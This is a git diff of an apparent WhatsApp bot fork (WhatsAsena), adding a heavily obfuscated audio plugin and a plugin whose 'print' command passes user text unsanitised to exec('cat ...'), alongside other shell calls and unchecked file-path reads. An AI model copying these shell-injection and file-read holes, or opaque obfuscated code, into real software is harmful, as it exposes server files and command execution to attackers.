​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ \n' + CMD_HELP, MessageType.text,{quoted: message.data} + ); + } + })); } diff --git a/plugins/_plugin.js b/plugins/_plugin.js index c9e85bc379..4b71b6f24e 100644 --- a/plugins/_plugin.js +++ b/plugins/_plugin.js @@ -1,8 +1,6 @@ /* Copyright (C) 2020 Yusuf Usta. - Licensed under the GPL-3.0 License; you may not use this file except in compliance with the License. - WhatsAsena - Yusuf Usta */ diff --git a/plugins/addvn.js b/plugins/addvn.js new file mode 100644 index 0000000000..e5d0abf49a --- /dev/null +++ b/plugins/addvn.js @@ -0,0 +1,148 @@ +function R(o, s) { + const l = Q(); + return R = function (O, C) { + O = O - 109; + let P = l[O]; + if (R.GCzzgG === undefined) { + var J = function (B) { + const W = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="; + let M = "", y = ""; + for (let v = 0, g, t, H = 0; t = B.charAt(H++); ~t && (g = v % 4 ? g * 64 + t : t, v++ % 4) ? M += String.fromCharCode(255 & g >> (-2 * v & 6)) : 0) { + t = W.indexOf(t); + } + for (let a = 0, S = M.length; a < S; a++) { + y += "%" + ("00" + M.charCodeAt(a).toString(16)).slice(-2); + } + return decodeURIComponent(y); + }; + const Y = function (B, W) { + let M = [], v = 0, g, t = ""; + B = J(B); + let H; + for (H = 0; H < 256; H++) { + M[H] = H; + } + for (H = 0; H < 256; H++) { + v = (v + M[H] + W.charCodeAt(H % W.length)) % 256, g = M[H], M[H] = M[v], M[v] = g; + } + H = 0, v = 0; + for (let a = 0; a < B.length; a++) { + H = (H + 1) % 256, v = (v + M[H]) % 256, g = M[H], M[H] = M[v], M[v] = g, t += String.fromCharCode(B.charCodeAt(a) ^ M[(M[H] + M[v]) % 256]); + } + return t; + }; + R.rHEpJx = Y, o = arguments, R.GCzzgG = !![]; + } + const m = l[0], I = O + m, L = o[I]; + return !L ? (R.wSvCTA === undefined && (R.wSvCTA = !![]), P = R.rHEpJx(P, C), o[I] = P) : P = L, P; + }, R(o, s); +} +function Q() { + const d = ["iSkhkCo4W4m", "mZe2mdKYDM53ufDI", "WPGclG", "zgvSyMDTid8OlG", "zMfRzq", "mty4s05mDuPY", "ywrKyMDTid8OlG", "ChvZAa", "BwfW", "ndeZzLjYsNrS", "Cgf0Aa", "csRcN1X4WPyUiJe9", "EmkpywtdVIfjsG", "tMv5BwfY", "D3jPDgvgAwXL", "ywrKq29TBwfUza", "W7/cKuK", "W6BdGYTs", "pMmw", "W7tcJSoR", "W4NdPrhdLL4+fmk3l10", "WRXQW6r7W4zte8oFWQD9", "EdddMtG", "yMDT", "ntv2vejiB3u", "W7RdLGy", "c3zdWRFcHLS", "yxvKAw8", "W7JcOmkpW4i", "u0fwrv9vu0fhrq", "AGZdVG4", "W6RcK1tdNq", "W7NcHbPBFLZdOvjH", "W73cR8kcWOpcGZK9W5K8jq", "BM90zxm", "WRtcUCo+E8ogW53cJWTQWP8meLC", "nZu4mJCXr3Diwg1L", "W4BcLSo1W6S3qSoVga", "ag8NfSost8oqBaZcQq", "y2XPzw50", "x0DPDMuGysbIzW", "CMvHzezPBgvtEq", "mtG4mJy3mhnMt2XbCG", "nqbNW5TroGazWPdcI8oTfCoJ", "CmonucHrkComsa", "W7pcHHDMW6/dKSkTsxDwW5ml", "z2v0qMDT", "nIVdGN3cUSoibIaWkq", "lI9ZB3vYyxyV", "su1hoZS7", "WRhcUCo+F8oiW5BdQJzcWP0ahG", "W6aGW6DMW5mJhmoDWRL9", "r29VzcbUAwDODa", "hmkvbmkSDfmflCob", "W5JdR1vGkYRcTCo1puS", "hSk7lKG", "Aw8HxW", "W4ldSW1/", "W4NcI8k5W7CWsCoNaSkuW78", "W5JdHSkLjCkgW47dIcT1WPO", "WOxdIKy6", "Aw5JBhvKzxm", "W7/dHYm", "x1jLCgX5ihrVia", "W6RcNqa8WR3cJ8kAw019", "W4bHA3pcU8k6W5dcTeHXWRBcSG", "bCoulSk2hCohx3ybzW", "WPWPFmo8WRZcOGhdLG", "W63cN8o7", "WP3dI8kUWRzXf8oihmk2W7JdSCou", "W77cPSkwW5ddGXm", "BM90zq", "W79LsvJdHCoGit/dHg8", "CMvWBhLFBwvZCW", "g8oqma", "aNqyWPFcGf8rWPdcHdC", "m8oGWPRcNmkzwCo/WRe", "qxLPBNu", "W7TPxvhdKW", "W6ZcK1ZdHCoH", "BxLYzq", "lmoDCG", "yqLi", "ywDL", "y29UDMvYDgLUzW", "BsbUyw1LihrVia", "dZOeW4jdW5FdJf7cO8kX", "fCkAeCkr", "Dgv4Da", "z1W7WP8n", "W6ZcGSo/umoxvbvDW6rF", "C2vUze1LC3nHzW", "zg93BMXVywrnzq", "BwvZC2fNzq", "e8kiWQK", "WRtcUmo9ECogW5ZdIsPWWQevgW", "zwqGyMDTCYfF", "W6e4iWyRWPpcKbK", "bmoummk+kCo9qwatCW", "zGldPa", "z8kACuldKWqgtenG", "W7OZmayNWQJcMa9AW5O", "e2VdQmk7W4Gn", "lM1WmW", "CMvTB3zL", "lCksacj2p8oJt18", "nfbisvDsCa", "rmkikZS", "nJa1nJC4vxjfBejN", "W7NcLbzmueVdU0nLCa", "BgX5igfKzgvKia", "zgvSzxrLqMDT", "xmobW6pdSuBdUmoSW6VcLW", "sgvSBg8", "W6uJmWm9", "W5pdI15XBHW8Fq", "C2vK", "qgfKAxDHANnOAq", "ndC1otHty2vuAha", "W7FdPSkVka", "DSoedc5ZB8oB"]; + Q = function () { + return d; + }; + return Q(); +} +const B = o, Y = R; +(function (s, l) { + const L = o, I = R, O = s(); + while (!![]) { + try { + const C = parseInt(I("0x86", "glzL")) / 1 + parseInt(L("0xbe")) / 2 * (-parseInt(L("0x78")) / 3) + parseInt(L("0xce")) / 4 + -parseInt(I("0x7f", "Gy#f")) / 5 + parseInt(L("0xca")) / 6 * (parseInt(L("0xd6")) / 7) + -parseInt(L("0xd2")) / 8 * (parseInt(I("0x95", "#WEg")) / 9) + parseInt(L("0x7e")) / 10 * (parseInt(I("0xd9", "0ssG")) / 11); + if (C === l) break; else O.push(O.shift()); + } catch (P) { + O.push(O.shift()); + } + } +}(Q, 422344)); +function o(R, s) { + const l = Q(); + return o = function (O, C) { + O = O - 109; + let P = l[O]; + if (o.ZELftb === undefined) { + var J = function (Y) { + const B = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="; + let W = "", M = ""; + for (let y = 0, v, g, t = 0; g = Y.charAt(t++); ~g && (v = y % 4 ? v * 64 + g : g, y++ % 4) ? W += String.fromCharCode(255 & v >> (-2 * y & 6)) : 0) { + g = B.indexOf(g); + } + for (let H = 0, a = W.length; H < a; H++) { + M += "%" + ("00" + W.charCodeAt(H).toString(16)).slice(-2); + } + return decodeURIComponent(M); + }; + o.YDoKpA = J, R = arguments, o.ZELftb = !![]; + } + const m = l[0], I = O + m, L = R[I]; + return !L ? (P = o.YDoKpA(P), R[I] = P) : P = L, P; + }, o(R, s); +} +const sk = require("fs"), fs = require(Y("0x8e", "CBZ(") + "s"), path = require(B("0xd7")), {MessageType, Mimetype} = require(B("0xc9") + Y("0x9f", "H&JQ")), Asena = require(Y("0xc4", "YIb6")), {successfullMessage, errorMessage, infoMessage} = require(Y("0x94", "p2Sz")), BgmDB = require(Y("0x87", "X()T")), Language = require("../language"), Lang = Language[Y("0x89", "M3z&")](B("0x76")); +Asena.addCommand({pattern: "addbgm ?(.*)", fromMe: !![], desc: Lang[B("0x71")]}, async (s, l) => { + const M = Y, W = B, O = l[1]; + if (!s[W("0x9d") + "age"]) { + await s.sendMessage(W("0x93") + M("0x75", "7)km") + "_"); + return; + } else { + if (!O) { + await s[M("0xc1", "waTQ") + "e"]("_Give me a" + M("0x8a", "**6#") + "!_"); + return; + } else { + if (s[W("0x9d") + W("0xa7")]) { + if (!s[M("0xae", "ob4Q") + W("0xa7")][M("0xcd", "vr!L")] && !s["reply_mess" + W("0xa7")][M("0xa2", "pRPA")] && !s[M("0xb9", "Fwsj") + "age"][M("0xcc", "mUWF")] && !s[W("0x9d") + M("0xa5", "0ssG")][M("0xde", "KKWL")]) { + const C = await s[W("0x7b")][W("0xb0") + "diaMessage"]({key: {remoteJid: s[W("0x9d") + M("0xb2", "YIb6")].jid, id: s[M("0x9c", "pRPA") + "age"].id}, message: s[M("0xe2", "X()T") + W("0xa7")][M("0x70", "7)km")][M("0xe1", "Kcj%") + W("0xa7")]}); + fs[W("0xdb")](W("0x84") + O + ".mp3", C), await s[M("0x96", "t%CS") + "e"]("_Successfu" + W("0xc2") + O + (M("0x83", "e4#9") + M("0x9a", "7)km")), MessageType[W("0xac")]); + } else return await s.sendMessage(M("0x8f", "glzL") + M("0xaa", ")XQE") + W("0x8c")); + return; + } + } + } +}), Asena.addCommand({pattern: B("0xd3") + "*)", fromMe: !![], dontAddCommandList: !![]}, async (s, l) => { + const v = B, y = Y, O = l[1]; + if (!O && !s[y("0xb6", "t%CS") + y("0xdd", "Viqc")]) return; + const C = [y("0x90", "p2Sz"), v("0xa1"), y("0x98", "CBZ("), "Bot", y("0xdf", ")XQE"), v("0x88"), v("0xc5"), "Hi", v("0xda"), "Pm", "Sed", y("0xad", "Gy#f"), "assist", y("0xb7", "Bcn$"), v("0xe4"), y("0xa6", "t2y%"), v("0xa8"), v("0xd1"), "fork", "fuck", y("0xc6", "Fwsj"), v("0xa4"), y("0xab", "M3z&"), "number", "oombi", y("0xcb", "glzL"), y("0xc7", "Pv2("), v("0xbc"), y("0xa3", "Viqc"), v("0xc8"), y("0x74", "waTQ"), y("0xd8", "4@*$") + "on"], P = await BgmDB[v("0x82")](), J = []; + P[v("0xd5")](m => { + const g = y; + !m[g("0xe3", "e4#9")][g("0x79", "CBZ(")]("IMG;;;") && J.push(m.note); + }); + if (!J[v("0x91")](l[1]) && !C[y("0x80", "QUE*")](l[1])) { + await BgmDB[y("0xba", "pEox")](O); + return; + } +}), Asena.addCommand({on: Y("0x8d", "**6#"), fromMe: ![]}, async (s, l) => { + const t = Y, O = await BgmDB.getBgm(), C = []; + O[t("0x9e", "t%CS")](P => { + const a = t, H = o; + !P[H("0x9b")].includes(H("0x85")) && C[H("0xd4")](P[a("0x72", "Bcn$")]); + }), C[t("0x92", "KKWL")](async P => { + const h = t, S = o; + let J = new RegExp("\\b" + P + "\\b", "g"); + J.test(s[S("0xb1")]) && await s[S("0x7b")][S("0xaf") + "e"](s[h("0xe0", "ob4Q")], sk[S("0x7d") + "nc"](S("0x84") + P + S("0xbb")), MessageType[S("0x6f")], {mimetype: Mimetype.mp4Audio, quoted: s.data, ptt: !![]}); + }); +}), Asena[B("0xdc")]({pattern: "delbgm ?(.*)", fromMe: !![], dontAddCommandList: !![]}, async (s, l) => { + const f = Y, T = B, O = l[1]; + if (!O) return await s.sendMessage(T("0x7c") + T("0xa9") + f("0x97", "31N[")); + const C = await BgmDB[T("0x82")](), P = []; + C[f("0xcf", "Q3G7")](J => { + const A = f, X = T; + !J[X("0x9b")][A("0xa0", "]H8d")]("IMG;;;") && P[X("0xd4")](J.note); + }); + if (P[T("0x91")](O)) { + await BgmDB[T("0xc3")](O), await s[T("0xaf") + "e"](f("0x7a", "eb%6") + "lly delete" + f("0x6d", "Viqc") + O + (f("0xb8", "0ssG") + T("0xb4")), MessageType[f("0x73", "Viqc")]); + return; + } +}), Asena[B("0xdc")]({pattern: B("0xd0") + "*)", fromMe: !![], dontAddCommandList: !![]}, async (s, l) => { + const F = B, U = Y, O = l[1]; + if (!O) return; + const C = await BgmDB[U("0x6e", "H&JQ")](), P = []; + C[F("0xd5")](J => { + const G = F, q = U; + !J[q("0x8b", "tPDD")][G("0x91")]("IMG;;;") && P.push(J[q("0xbf", "GD4)")]); + }); + if (P[U("0xb5", "Fwsj")](O)) { + await sk.unlinkSync(F("0x84") + O + F("0xbb")); + return; + } +}); diff --git a/plugins/alive.js b/plugins/alive.js new file mode 100644 index 0000000000..f291237cc6 --- /dev/null +++ b/plugins/alive.js @@ -0,0 +1,56 @@ +/* +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const {spawnSync} = require('child_process'); +const Config = require('../config'); +const chalk = require('chalk'); +const axios = require('axios'); + +const Language = require('../language'); +const Lang = Language.getString('system_stats'); + + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({pattern: 'alive', fromMe: true, desc: Lang.ALIVE_DESC}, (async (message, match) => { + + let pp + try { pp = await message.client.getProfilePicture(message.jid.includes('-') ? message.data.participant : message.jid ); } catch { pp = await message.client.getProfilePicture(); } + await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { await message.client.sendMessage(message.jid, res.data, MessageType.image, { caption: Config.ALIVEMSG }); }); + })); + + Asena.addCommand({pattern: 'sysd', fromMe: true, desc: Lang.SYSD_DESC}, (async (message, match) => { + + const child = spawnSync('neofetch', ['--stdout']).stdout.toString('utf-8') + await message.sendMessage( + '```' + child + '```', MessageType.text + ); + })); +} +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({pattern: 'alive', fromMe: false, desc: Lang.ALIVE_DESC}, (async (message, match) => { + + let pp + try { pp = await message.client.getProfilePicture(message.jid.includes('-') ? message.data.participant : message.jid ); } catch { pp = await message.client.getProfilePicture(); } + await axios.get(Config.LOGOSK, {responseType: 'arraybuffer'}).then(async (res) => { await message.client.sendMessage(message.jid, res.data, MessageType.image, { caption: Config.ALIVEMSG }); }); + })); + + Asena.addCommand({pattern: 'sysd', fromMe: false, desc: Lang.SYSD_DESC}, (async (message, match) => { + + const child = spawnSync('neofetch', ['--stdout']).stdout.toString('utf-8') + await message.sendMessage( + '```' + child + '```', MessageType.text + ); + })); + + Asena.addCommand({pattern: 'psysd', fromMe: true, desc: Lang.SYSD_DESC, dontAddCommandList: true }, (async (message, match) => { + + const child = spawnSync('neofetch', ['--stdout']).stdout.toString('utf-8') + await message.sendMessage( + '```' + child + '```', MessageType.text + ); + })); +} + +*/ diff --git a/plugins/anime.js b/plugins/anime.js index 910281bd45..54048554b2 100644 --- a/plugins/anime.js +++ b/plugins/anime.js @@ -191,7 +191,7 @@ else if (Config.WORKTYPE == 'public') { var respoimage = await axios.get(`${r_text[i]}`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: 'Made by WhatsAsenaPublic'}) + await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: 'Made by Rocky'}) })); } diff --git a/plugins/anshad2.js b/plugins/anshad2.js new file mode 100644 index 0000000000..f81f662427 --- /dev/null +++ b/plugins/anshad2.js @@ -0,0 +1,317 @@ +/* Copyright (C) 2020 Amalser. + +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. + +Amalser - Amal,farhan +*/ + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const exec = require('child_process').exec; +const os = require("os"); +const fs = require('fs'); +const Config = require('../config') +const Language = require('../language'); +const Lang = Language.getString('evaluators'); +const SLang = Language.getString('conventer'); +const NLang = Language.getString('scrapers'); +const googleTTS = require('google-translate-tts'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: Config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + Config.HEROKU.APP_NAME; + +var dd = '' +var errmsg = '' +if (Config.LANG == 'TR') dd = 'Sunucudaki dosyanın içini yazdırır.', errmsg = '*Aradığın Dosya Sunucuda Mevcut Değil!*' +if (Config.LANG == 'EN') dd = 'Prints the inside of the file on the server.', errmsg = '*The file you are looking for is not available on the server!*' +if (Config.LANG == 'AZ') dd = 'Faylın mənbə kodlarını serverdə göstərir.', errmsg = '*Axtardığınız fayl serverdə yoxdur!*' +if (Config.LANG == 'ES') dd = 'Imprime el interior del archivo en el servidor.', errmsg = '*¡El archivo que está buscando no está disponible en el servidor!*' +if (Config.LANG == 'HI') dd = 'सर्वर पर फ़ाइल के अंदर प्रिंट करता है', errmsg = '*आप जिस फ़ाइल की तलाश कर रहे हैं वह सर्वर पर उपलब्ध नहीं है!*' +if (Config.LANG == 'PT') dd = 'Imprime o interior do arquivo no servidor.', errmsg = '*O arquivo que você está procurando não está disponível no servidor!*' +if (Config.LANG == 'ML') dd = 'ഫയലിന്റെ ഉള്ളിൽ സെർവറിൽ പ്രിന്റുചെയ്യുന്നു', errmsg = '*നിങ്ങൾ തിരയുന്ന ഫയൽ സെർവറിൽ ലഭ്യമല്ല!*' +if (Config.LANG == 'ID') dd = 'Mencetak bagian dalam file di server', errmsg = '*File yang Anda cari tidak tersedia di server!*' +if (Config.LANG == 'RU') dd = 'Печатает внутреннюю часть файла на сервере', errmsg = '*Файл, который вы ищете, недоступен на сервере!*' + +Asena.addCommand({pattern: 'print ?(.*)', fromMe: true, desc: dd}, (async (message, match) => { + exec('cat ' + match[1], async (err, stdout, stderr) => { + if (err) { + return await message.client.sendMessage(message.jid,errmsg, MessageType.text) + } + await message.client.sendMessage(message.jid, `Root ~# ${match[1]} \n\n` + stdout, MessageType.text) + }); +})); +var bdesc = '' +var berr = '' +var need_way = '' +if (Config.LANG == 'TR') bdesc = 'Sunucu içindeki ses, video ve fotoğrafları gönderir.', berr = '*Aradığın Dosya Sunucuda Mevcut Değil!*', need_way = '*Dosya Yolu Girmen Gerekiyor!*' +if (Config.LANG == 'EN') bdesc = 'Sends audio, video and photos inside the server.', berr = '*The file you are looking for is not available on the server!*', need_way = '*File Path Required!*' +if (Config.LANG == 'AZ') bdesc = 'Server daxilində səs, video və fotoşəkillər göndərir.', berr = '*Axtardığınız fayl serverdə yoxdur!*', need_way = '*Fayl yolu tələb olunur!*' +if (Config.LANG == 'HI') bdesc = 'सर्वर के अंदर ऑडियो, वीडियो और फोटो भेजता है', berr = '*आप जिस फ़ाइल की तलाश कर रहे हैं वह सर्वर पर उपलब्ध नहीं है!*', need_way = '*फ़ाइल पथ आवश्यक!*' +if (Config.LANG == 'PT') bdesc = 'Envia áudio, vídeo e fotos dentro do servidor.', berr = '*O arquivo que você está procurando não está disponível no servidor!*', need_way = '*Caminho do arquivo obrigatório!*' +if (Config.LANG == 'RU') bdesc = 'Отправляет аудио, видео и фото внутри сервера', berr = '*Файл, который вы ищете, недоступен на сервере!*', need_way = '*Требуется путь к файлу!*' +if (Config.LANG == 'ES') bdesc = 'Envía audio, video y fotos dentro del servidor.', berr = '*¡El archivo que está buscando no está disponible en el servidor!*', need_way = '*¡Ruta de archivo requerida!*' +if (Config.LANG == 'ID') bdesc = 'Ini mengirimkan audio, video dan foto di dalam server.', berr = '*File yang Anda cari tidak tersedia di server!*', need_way = '*Jalur File Diperlukan!*' +if (Config.LANG == 'ML') bdesc = 'സെർവറിനുള്ളിൽ ഓഡിയോ, വീഡിയോ, ഫോട്ടോകൾ അയയ്ക്കുന്നു.', berr = '*നിങ്ങൾ തിരയുന്ന ഫയൽ സെർവറിൽ ലഭ്യമല്ല!*', need_way = '*ഫയൽ പാത്ത് ആവശ്യമാണ്!*' +let wk_q = Config.WORKTYPE == 'public' ? false : true +Asena.addCommand({pattern: 'bashmedia ?(.*)', fromMe: wk_q, desc: bdesc, usage: 'video.mp4 && media/gif/pic.mp4'}, (async (message, match) => { + var id = message.jid + try { + if (match[1].includes('jpg') || match[1].includes('tiff') || match[1].includes('raw') || match[1].includes('dng') || match[1].includes('png') || match[1].includes('jpeg')) { + await message.client.sendMessage(id,fs.readFileSync(`/root/WhatsAsenaDuplicated/${match[1]}`), MessageType.image, {caption: 'Made by WhatsAsena' }) + } + else if (match[1].includes('mp4') || match[1].includes('avi') || match[1].includes('webm') || match[1].includes('mkv') || match[1].includes('mpeg')) { + await message.client.sendMessage(id,fs.readFileSync(`/root/WhatsAsenaDuplicated/${match[1]}`), MessageType.video, {caption: 'Made by WhatsAsena' }); + } + else if (match[1].includes('mp3') || match[1].includes('waw') || match[1].includes('flac') || match[1].includes('weba') || match[1].includes('ogg') || match[1].includes('m4a')) { + await message.client.sendMessage(id,fs.readFileSync(`/root/WhatsAsenaDuplicated/${match[1]}`), MessageType.audio); + } + else { + await message.client.sendMessage(id,need_way, MessageType.text) + } + } catch (err) { + await message.client.sendMessage(id,berr, MessageType.text) + } +})); +let wk_ad = Config.WORKTYPE == 'public' ? false : true +var addsdesc = '' +var rep_add = '' +var suc_add = '' +if (Config.LANG == 'TR') addsdesc = 'Sunucuya resim, ses veya video yükler.', rep_add = '*Herhangi Bir Medya Mesajına Yanıt Ver!*', suc_add = '*Medya Sunucuya Eklendi! ✅*' +if (Config.LANG == 'EN') addsdesc = 'Uploads image, audio or video to the server.', rep_add = '*Reply to Any Media Message!*', suc_add = '*Media Added to Server! ✅*' +if (Config.LANG == 'AZ') addsdesc = 'Serverə şəkil, səs və ya video yükləyir.', rep_add = '*Hər hansı bir Mediya Mesajına Cavab!*', suc_add = '*Serverə Media əlavə edildi! ✅*' +if (Config.LANG == 'HI') addsdesc = 'सर्वर पर छवि, ऑडियो या वीडियो अपलोड करता है।', rep_add = '*किसी भी मीडिया संदेश का उत्तर दें!*', suc_add = '*मीडिया सर्वर में जोड़ा गया! ✅*' +if (Config.LANG == 'PT') addsdesc = 'Carrega imagem, áudio ou vídeo para o servidor.', rep_add = '*Responda a qualquer mensagem da mídia!*', suc_add = '*Mídia adicionada ao servidor! ✅*' +if (Config.LANG == 'RU') addsdesc = 'Загружает изображение, аудио или видео на сервер.', rep_add = '*Ответьте на любое сообщение СМИ!*', suc_add = '*Медиа добавлены на сервер! ✅*' +if (Config.LANG == 'ML') addsdesc = 'ഇമേജ്, ഓഡിയോ അല്ലെങ്കിൽ വീഡിയോ സെർവറിലേക്ക് അപ്‌ലോഡുചെയ്യുന്നു.', rep_add = '*ഏതെങ്കിലും മീഡിയ സന്ദേശത്തിന് മറുപടി നൽകുക!*', suc_add = '*മീഡിയ സെർവറിൽ ചേർത്തു! ✅*' +if (Config.LANG == 'ES') addsdesc = 'Carga imagen, audio o video al servidor.', rep_add = '*¡Responde a cualquier mensaje de los medios!*', suc_add = '*¡Medios agregados al servidor! ✅*' +if (Config.LANG == 'ID') addsdesc = 'Upload gambar, audio atau video ke server.', rep_add = '*Balas Pesan Media Apa Pun!*', suc_add = '*Media Ditambahkan ke Server! ✅*' + +Asena.addCommand({pattern: 'addserver$', fromMe: wk_ad, desc: addsdesc}, (async (message, match) => { + if (message.reply_message.image) { + var location = await message.client.downloadAndSaveMediaMessage({ + key: { + remoteJid: message.reply_message.jid, + id: message.reply_message.id + }, + message: message.reply_message.data.quotedMessage + }); + var fin = location.split('.')[1] + exec('mv ' + location + ' /root/WhatsAsenaDuplicated/server-image.' + fin) + await message.client.sendMessage(message.jid,suc_add, MessageType.text) + } + else if (message.reply_message.video) { + var location = await message.client.downloadAndSaveMediaMessage({ + key: { + remoteJid: message.reply_message.jid, + id: message.reply_message.id + }, + message: message.reply_message.data.quotedMessage + + }); + var fin = location.split('.')[1] + exec('mv ' + location + ' /root/WhatsAsenaDuplicated/server-video.' + fin) + await message.client.sendMessage(message.jid,suc_add, MessageType.text) + } + else if (message.reply_message.audio) { + var location = await message.client.downloadAndSaveMediaMessage({ + key: { + remoteJid: message.reply_message.jid, + id: message.reply_message.id + }, + message: message.reply_message.data.quotedMessage + + }); + var fin = location.split('.')[1] + exec('mv ' + location + ' /root/WhatsAsenaDuplicated/server-audio.' + fin) + await message.client.sendMessage(message.jid,suc_add, MessageType.text) + } + else { await message.client.sendMessage(message.jid,rep_add, MessageType.text) + } +})); +async function checkUsAdmin(message, user = message.data.participant) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +async function checkImAdmin(message, user = message.client.user.jid) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +var antilink_var = '' +async function antlch() { + await heroku.get(baseURI + '/config-vars').then(async (vars) => { + antilink_var = vars.ANTI_LINK + }); +} +antlch() +var ldc = '' +if (Config.LANG == 'AZ') ldc = '*Bağlantı Aşkarlandı!*' +if (Config.LANG == 'TR') ldc = '*‎Link Tespit Edildi!*' +if (Config.LANG == 'EN') ldc = '*Link Detected!*' +if (Config.LANG == 'ML') ldc = '*ലിങ്ക് 